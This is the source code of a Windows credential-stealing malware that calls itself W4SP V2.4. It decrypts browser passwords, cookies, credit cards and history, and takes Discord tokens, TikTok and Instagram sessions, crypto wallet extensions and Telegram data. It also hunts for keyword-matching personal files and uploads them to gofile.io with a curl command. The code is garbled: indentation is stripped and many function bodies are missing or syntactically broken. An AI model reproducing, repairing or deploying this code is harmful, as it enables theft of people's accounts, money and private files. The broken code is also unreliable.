import os
import io
import re
import time
import gzip
import json
import shutil
import random
import hashlib
import warnings
import threading
import subprocess
from sys import executable, stderr
from base64 import b64decode
from json import loads, dumps
from zipfile import ZipFile, ZIP_DEFLATED
from sqlite3 import connect as sql_connect
from urllib.request import Request, urlopen
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
class NullWriter(object):
def write(self, arg):
pass
warnings.filterwarnings("ignore")
null_writer = NullWriter()
stderr = null_writer
normal python needs to pip pycryptodome but for microsoft store python its Crypto
ModuleRequirements = [
["Crypto.Cipher", "pycryptodome" if not 'PythonSoftwareFoundation' in executable else 'Crypto']
]
for module in ModuleRequirements:
try:
import(module[0])
except:
subprocess.Popen(f"\"{executable}\" -m pip install {module[1]} --quiet", shell=True)
time.sleep(3)
from Crypto.Cipher import AES
W4SP V2.4
by loTus04 and xKian
class DATA_BLOB(Structure):
fields = [
('cbData', wintypes.DWORD),
('pbData', POINTER(c_char))
]
def getip():
try:return urlopen(Request("https://api.ipify.org")).read().decode().strip()
except:return "None"
def zipfolder(foldername, target_dir):
zipobj = ZipFile(temp+"/"+foldername + '.zip', 'w', ZIP_DEFLATED)
rootlen = len(target_dir) + 1
for base, dirs, files in os.walk(target_dir):
for file in files:
fn = os.path.join(base, file)
if not "user_data" in fn:
zipobj.write(fn, fn[rootlen:])
def GetData(blob_out):
cbData = int(blob_out.cbData)
pbData = blob_out.pbData
buffer = c_buffer(cbData)
cdll.msvcrt.memcpy(buffer, pbData, cbData)
windll.kernel32.LocalFree(pbData)
return buffer.raw
def CryptUnprotectData(encrypted_bytes, entropy=b''):
buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
buffer_entropy = c_buffer(entropy, len(entropy))
blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
blob_out = DATA_BLOB()
def DecryptValue(buff, master_key=None):
starts = buff.decode(encoding='utf8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16]
try: decrypted_pass = decrypted_pass.decode()
except:pass
return decrypted_pass
def LoadUrlib(hook, data='', headers=''):
for i in range(8):
try:
if headers != '':
r = urlopen(Request(hook, data=data, headers=headers))
else:
r = urlopen(Request(hook, data=data))
return r
except:
pass
def globalInfo():
try:
username = os.getenv("USERNAME")
ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{IP}")).read().decode().replace('callback(', '').replace('})', '}')
ipdata = loads(ipdatanojson)
contry = ipdata["country_name"]
contryCode = ipdata["country_code"].lower()
if contryCode == "not found":
globalinfo = f" -
{username.upper()} | {IP} ({contry})
"
else:
globalinfo = f":flag_{contryCode}: - {username.upper()} | {IP} ({contry})
"
return globalinfo
def Trust(Cookies):
simple Trust Factor system - OFF for the moment
def getCodes(token):
try:
codes = ""
headers = {"Authorization": token,"Content-Type": "application/json","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"}
codess = loads(urlopen(Request("https://discord.com/api/v9/users/@me/outbound-promotions/codes?locale=en-GB", headers=headers)).read().decode())
credit to NinjaRideV6 for this function
def getbillq(token):
headers = {
"Authorization": token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
billq = "(LQ Billing)
"
try:
bill = loads(urlopen(Request("https://discord.com/api/v9/users/@me/billing/payments?limit=20",headers=headers)).read().decode())
if bill == []: bill = ""
elif bill[0]['status'] == 1: billq = "(HQ Billing)
"
except: pass
return billq
def GetBilling(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
billingjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode())
except:
return False
def GetBadge(flags):
if flags == 0: return ''
def GetUHQFriends(token):
badgeList = [
{"Name": 'Active_Developer', 'Value': 4194304, 'Emoji': '<:active:1045283132796063794> '},
{"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "},
{"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
{"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
{"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
{"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
{"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
{"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
{"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
{"Name": 'Partnered_Server_Owner', 'Value': 2, 'Emoji': "<:partner:874750808678354964> "},
{"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
friendlist = loads(urlopen(Request("https://discord.com/api/v6/users/@me/relationships", headers=headers)).read().decode())
except:
return False
def GetUHQGuilds(token):
try:
uhqguilds = ""
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
guilds = loads(urlopen(Request("https://discord.com/api/v9/users/@me/guilds?with_counts=true", headers=headers)).read().decode())
for guild in guilds:
if guild["approximate_member_count"] < 50: continue
if guild["owner"] or guild["permissions"] == "4398046511103":
inv = loads(urlopen(Request(f"https://discord.com/api/v6/guilds/{guild['id']}/invites", headers=headers)).read().decode())
try: cc = "https://discord.gg/"+str(inv[0]['code'])
except: cc = False
uhqguilds += f"<:I_Join:928302098284691526> {guild['name']} ({guild['id']})
{str(guild['approximate_member_count'])} Members\n"
if uhqguilds == "": return "No HQ Guilds
"
return uhqguilds
except:
return "No HQ Guilds
"
def GetTokenInfo(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
def checkToken(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers))
return True
except:
return False
class ttsign: #this is the cleanest code ive ever written
def init(self,params:str,data:str,cookies:str)None:self.params,self.data,self.cookies=params,data,cookies
def hash(self,data:str)str:return str(hashlib.md5(data.encode()).hexdigest())
def get_base_string(self)str:base_str=self.hash(self.params);base_str=(base_str+self.hash(self.data)if self.data else base_str+str("0"32));base_str=(base_str+self.hash(self.cookies)if self.cookies else base_str+str("0"32));return base_str
def get_value(self)json:return self.encrypt(self.get_base_string())
def encrypt(self,data:str)->json:
unix,len,key,result,param_list=int(time.time()),0x14,[0xDF,0x77,0xB9,0x40,0xB9,0x9B,0x84,0x83,0xD1,0xB9,0xCB,0xD1,0xF7,0xC2,0xB9,0x85,0xC3,0xD0,0xFB,0xC3],"",[]
for i in range(0,12,4):
temp=data[8i:8(i+1)]
for j in range(4):H = int(temp[j2:(j+1)2],16);param_list.append(H)
param_list.extend([0x0,0x6,0xB,0x1C]);H=int(hex(int(unix)),16);param_list.append((H&0xFF000000)>>24);param_list.append((H&0x00FF0000)>>16);param_list.append((H&0x0000FF00)>>8);param_list.append((H&0x000000FF)>>0);eor_result_list = []
for A,B in zip(param_list,key):eor_result_list.append(A^B)
for i in range(len):C=self.reverse(eor_result_list[i]);D=eor_result_list[(i + 1)%len];E=C^D;F=self.rbit_algorithm(E);H=((F^0xFFFFFFFF)^len)&0xFF;eor_result_list[i]=H
for param in eor_result_list:result+=self.hex_string(param)
return {"x-ss-req-ticket":str(int(unix*1000)),"x-khronos":str(int(unix)),"x-gorgon":("0404b0d30000"+result)}
def rbit_algorithm(self, num):
result,tmp_string= "",bin(num)[2:]
while len(tmp_string)<8:tmp_string="0"+tmp_string
for i in range(0,8):result=result+tmp_string[7-i]
return int(result,2)
def hex_string(self,num):
tmp_string=hex(num)[2:]
if len(tmp_string)<2:tmp_string="0"+tmp_string
return tmp_string
def reverse(self, num):tmp_string=self.hex_string(num);return int(tmp_string[1:]+tmp_string[:1],16)
def TiktokInfo(sessionid):
global ttusrnames
params = f"device_type=SM-G988N&app_name=musical_ly&channel=googleplay&device_platform=android&iid={int(bin(int(time.time()))[2:] + '10100110110100110000011100000101', 2)}&version_code=180805&device_id={int(bin(int(time.time()))[2:] + '00101101010100010100011000000110', 2)}&os_version=7.1.2&aid=1233"
url = "https://api19-va.tiktokv.com/aweme/v1/user/profile/self/?" + params
headers = {
ttsign(params, None, None).get_value(),
"Host": "api19-va.tiktokv.com",
"Connection": "keep-alive",
"accept-encoding": "gzip",
"user-agent": "okhttp/3.12.1",
"passport-sdk-version": "19",
"sdk-version": "2",
"cookie": "sessionid={};".format(sessionid)
}
res = urlopen(Request(url, headers=headers)).read()
try:
jsson = loads(res.decode(errors="ignore"))["user"]
except:
jsson = loads(gzip.GzipFile(fileobj=io.BytesIO(res)).read().decode(errors='ignore'))["user"]
if not jsson["unique_id"] in ttusrnames:
ttusrnames.append(jsson["unique_id"])
return [{
"name": "<:tiktok:883079597187530802> Tiktok",
"value": f"Username: {jsson['unique_id']}\nFollowers: {jsson['follower_count']}\nLikes:** {jsson['total_favorited']}",
"inline": False
}]
return []
def InstagramInfo(token):
headers = {
'authority': 'www.instagram.com',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
'accept-language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 OPR/93.0.0.0',
'Cookie': f'sessionid={token}'
}
response = str(urlopen(Request('https://www.instagram.com/', headers=headers)).read())
def getaccountsinfo():
global History, Cookies, Bookmarks, Passw
data = []
def Trim(obj):
if len(obj) > 1000:
f = obj.split("\n")
obj = ""
for i in f:
if len(obj)+ len(i) >= 1000:
obj += "..."
break
obj += i + "\n"
return obj
def uploadToken(token, path):
def Reformat(listt):
e = re.findall("(\w+[a-z])",listt)
while "https" in e: e.remove("https")
while "com" in e: e.remove("com")
while "net" in e: e.remove("net")
return list(set(e))
def upload(name, link):
def writeforfile(data, name):
path = os.getenv("TEMP") + f"\wp{name}.txt"
with open(path, mode='w', encoding='utf-8') as f:
for line in data:
if line[0] != '':
f.write(f"{line}\n")
def getToken(path, arg):
if not os.path.exists(path): return
def SqlThing(pathC, tempfold, cmd):
shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute(cmd)
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
return data
def FirefoxCookie():
try:
global Cookies, CookiCount
firefoxpath = f"{roaming}/Mozilla/Firefox/Profiles"
if not os.path.exists(firefoxpath): return
subprocess.Popen(f"taskkill /im firefox.exe /t /f >nul 2>&1", shell=True)
for subdir, dirs, files in os.walk(firefoxpath):
for file in files:
if file.endswith("cookies.sqlite"):
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
shutil.copy2(os.path.join(subdir, file), tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("select * from moz_cookies ")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
for row in data:
if row[0] != '':
Cookies.append(f"H057 K3Y: {row[4]} | N4M3: {row[2]} | V41U3: {row[3]}")
CookiCount += 1
except: pass
def getPassw(path, arg):
try:
global Passw, PasswCount
if not os.path.exists(path): return
def getCookie(path, arg):
try:
global Cookies, CookiCount
if not os.path.exists(path): return
def getCCs(path, arg):
try:
global CCs, CCsCount
if not os.path.exists(path): return
def getAutofill(path, arg):
try:
global Autofill, AutofillCount
if not os.path.exists(path): return
def getHistory(path, arg):
try:
global History, HistoryCount
if not os.path.exists(path): return
def getwebsites(Words):
rb = ' | '.join(da for da in Words)
if len(rb) > 1000:
rrrrr = Reformat(str(Words))
return ' | '.join(da for da in rrrrr)
else: return rb
def getBookmarks(path, arg):
try:
global Bookmarks, BookmarksCount
if not os.path.exists(path): return
def parseCookies():
try:
tmpCookies = []
for cookie in Cookies:
try:
key = cookie.split(' | ')[0].split(': ')[1]
name = cookie.split(' | ')[1].split(': ')[1]
value = cookie.split(' | ')[2].split(': ')[1]
tmpCookies.append(f"{key}\tTRUE\t/\tFALSE\t2597573456\t{name}\t{value}")
except: pass
writeforfile(tmpCookies, 'parsedcookies')
except:pass
def startBthread(func, arg):
global Browserthread
t = threading.Thread(target=func, args=arg)
t.start()
Browserthread.append(t)
def getBrowsers(browserPaths):
global Browserthread
FirefoxCookie()
ThCokk, Browserthread, filess = [], [], []
for patt in browserPaths:
a = threading.Thread(target=getCookie, args=[patt[0], patt[4]])
a.start()
ThCokk.append(a)
def ExodusInjection(path, procc, exolink):
if not os.path.exists(path): return
def AtomicInjection(path, procc, atolink):
if not os.path.exists(path): return
def GetDiscord(path, arg):
def ngstealer(path):
path = f"{path}\000003.log"
if not os.path.exists(path): return
users = []
f = open(path, "r+", encoding="ansi")
accounts = re.findall(r'{"username":".{1,69}","token":"', str(f.readlines()))
for uss in accounts:
username = uss.split('{"username":"')[1].split('"')[0]
if username not in users:
users += [username]
def GatherZips(paths1, paths2, paths3):
thttht = []
for walletids in wallts:
def ZipTelegram(path, arg, procc):
def ZipThings(path, arg, procc):
pathC = path
name = arg
def Startthread(meth, args = []):
a = threading.Thread(target=meth, args=args)
a.start()
Threadlist.append(a)
def GatherAll():
' Default Path < 0 > ProcesName < 1 > Token < 2 > Password/CC < 3 > Cookies < 4 > Extentions < 5 > '
browserPaths = [
[f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Beta/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Dev/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Unstable/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Canary/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Vivaldi/User Data", "vivaldi.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserCanary/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserDeveloper/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserBeta/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserTech/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserSxS/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/" ]
]
discordPaths = [
[f"{roaming}/discord", "/Local Storage/leveldb"],
[f"{roaming}/Lightcord", "/Local Storage/leveldb"],
[f"{roaming}/discordcanary", "/Local Storage/leveldb"],
[f"{roaming}/discordptb", "/Local Storage/leveldb"],
]
def uploadToAnonfiles(path):
try:
r = subprocess.Popen(f"curl -F \"file=@{path}\" https://{gofileserver}.gofile.io/uploadFile", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
return loads(r[0].decode('utf-8'))["data"]["downloadPage"]
try: return requests.post(f'https://{gofileserver}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
def KiwiFolder(pathF, keywords):
global KiwiFiles
maxfilesperdir = 7
i = 0
listOfFile = os.listdir(pathF)
ffound = []
for file in listOfFile:
if not os.path.isfile(pathF + "/" + file): return
i += 1
if i <= maxfilesperdir:
url = uploadToAnonfiles(pathF + "/" + file)
ffound.append([pathF + "/" + file, url])
else:
break
KiwiFiles.append(["folder", pathF + "/", ffound])
KiwiFiles = []
def KiwiFile(path, keywords):
global KiwiFiles
fifound = []
listOfFile = os.listdir(path)
for file in listOfFile:
for worf in keywords:
if worf in file.lower():
if os.path.isfile(path + "/" + file) and os.stat(path + "/" + file).st_size < 500000 and not ".lnk" in file:
fifound.append([path + "/" + file, uploadToAnonfiles(path + "/" + file)])
break
if os.path.isdir(path + "/" + file):
target = path + "/" + file
KiwiFolder(target, keywords)
break
def Kiwi():
user = temp.split("\AppData")[0]
path2search = [
user + "/Desktop",
user + "/Downloads",
user + "/Documents",
roaming + "/Microsoft/Windows/Recent",
]
def filestealr():
wikith = Kiwi()
global keyword, cookiWords, paswWords, CookiCount, PasswCount, WalletsZip, GamingZip, OtherZip, Threadlist
DETECTED = False
wallts = [
["nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask" ],
["ejbalbakoplchlghecdalmeeeajnimhm", "Metamask" ],
["fhbohimaelbohpjbbldcngcnapndodjp", "Binance" ],
["hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase" ],
["fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin" ],
["ibnejdfjmmkpcnlpebklmnkoeoihofec", "Tron" ],
["ejjladinnckdgjemekebdpeokbikhfci", "Petra" ],
["efbglgofoippbgcjepnhiblaibcnclgk", "Martian" ],
["phkbamefinggmakgklpkljjmgibohnba", "Pontem" ],
["ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha" ],
["afbcbjpbpfadlkmhmclhkeeodmamcflc", "Math" ],
["aeachknmefphepccionboohckonoeemg", "Coin98" ],
["bhghoamapcdpbohphigoooaddinpkbai", "Authenticator" ],
["aholpfdialjgjfhomihkjbmgjidlcdno", "ExodusWeb3" ],
["bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom" ],
["agoakfejjabomempkjlepdflaleeobhb", "Core" ],
["mfgccjchihfkkindfppnaooecgfneiii", "Tokenpocket" ],
["lgmpcpglpngdoalbgeoldeajfclnhafa", "Safepal" ],
["bhhhlbepdkbapadjdnnojkbgioiodbic", "Solfare" ],
["jblndlipeogpafnldhgmapagcccfchpi", "Kaikas" ],
["kncchdigobghenbbaddojjnnaogfppfj", "iWallet" ],
["ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi" ],
["hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda" ],
["cjelfplplebdjjenllpjcblmjkfcffne", "Jaxx Liberty" ],
["amkmjjmmflddogmhpjloimipbofnfjih", "Wombat" ],
["fhilaheimglignddkjgofkcbgekhenbh", "Oxygen" ],
["nlbmnnijcnlegkjjpcfjclmcfggfefdm", "MEWCX" ],
["nanjmdknhkinifnkgdcggcfnhdaammmj", "Guild" ],
["nkddgncdjgjfcddamfgcmfnlhccnimig", "Saturn" ],
["aiifbnbfobpmeekipheeijimdpnlpgpp", "TerraStation" ],
["fnnegphlobjdpkhecapkijjdkgcjhkib", "HarmonyOutdated" ],
["cgeeodpfagjceefieflmdfphplkenlfk", "Ever" ],
["pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain" ],
["mgffkfbidihjpoaomajlbgchddlicgpn", "PaliWallet" ],
["aodkkagnadcbobfpggfnjeongemjbjca", "BoltX" ],
["kpfopkelmapcoipemfendmdcghnegimn", "Liquality" ],
["hmeobnfnfcmdkdcmlblgagmfpfboieaf", "XDEFI" ],
["lpfcbjknijpeeillifnkikgncikgfhdo", "Nami" ],
["dngmlblcodfobpdpecaadgfbcggfjfnm", "MaiarDEFI" ],
["ookjlbkiijinhpmnjffcofjonbfbgaoc", "TempleTezos" ],
["eigblbgjknlfbajkfhopmcojidlgcehm", "XMR.PT" ],
]
IP = getip()
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
keyword = ['coinbase', 'sellix', 'gmail', 'steam', 'discord', 'riotgames', 'youtube', 'instagram', 'tiktok', 'twitter', 'facebook', 'epicgames', 'spotify', 'yahoo', 'roblox', 'twitch', 'minecraft', 'paypal', 'origin', 'amazon', 'ebay', 'aliexpress', 'playstation', 'hbo', 'xbox', 'binance', 'hotmail', 'outlook', 'crunchyroll', 'telegram', 'pornhub', 'disney', 'expressvpn', 'uber', 'netflix', 'github', 'stake']
ttusrnames = []
CookiCount, PasswCount, CCsCount, AutofillCount, HistoryCount, BookmarksCount = 0, 0, 0, 0, 0, 0
cookiWords, paswWords, History, CCs, Passw, Autofill, Cookies, WalletsZip, GamingZip, OtherZip, Threadlist, KiwiFiles, Bookmarks, Tokens = [], [], [], [], [], [], [], [], [], [], [], [], [], ''
try:gofileserver = loads(urlopen("https://api.gofile.io/getServer").read().decode('utf-8'))["data"]["server"]
except:gofileserver = "store4"
GLINFO = globalInfo()
GatherAll()
wikith = Kiwi()
for thread in wikith: thread.join()
time.sleep(0.2)
filetext = "\n"
for arg in KiwiFiles:
if len(arg[2]) != 0:
foldpath = arg[1]
foldlist = arg[2]
filetext += f"📁 {foldpath}\n"
upload("kiwi", filetext)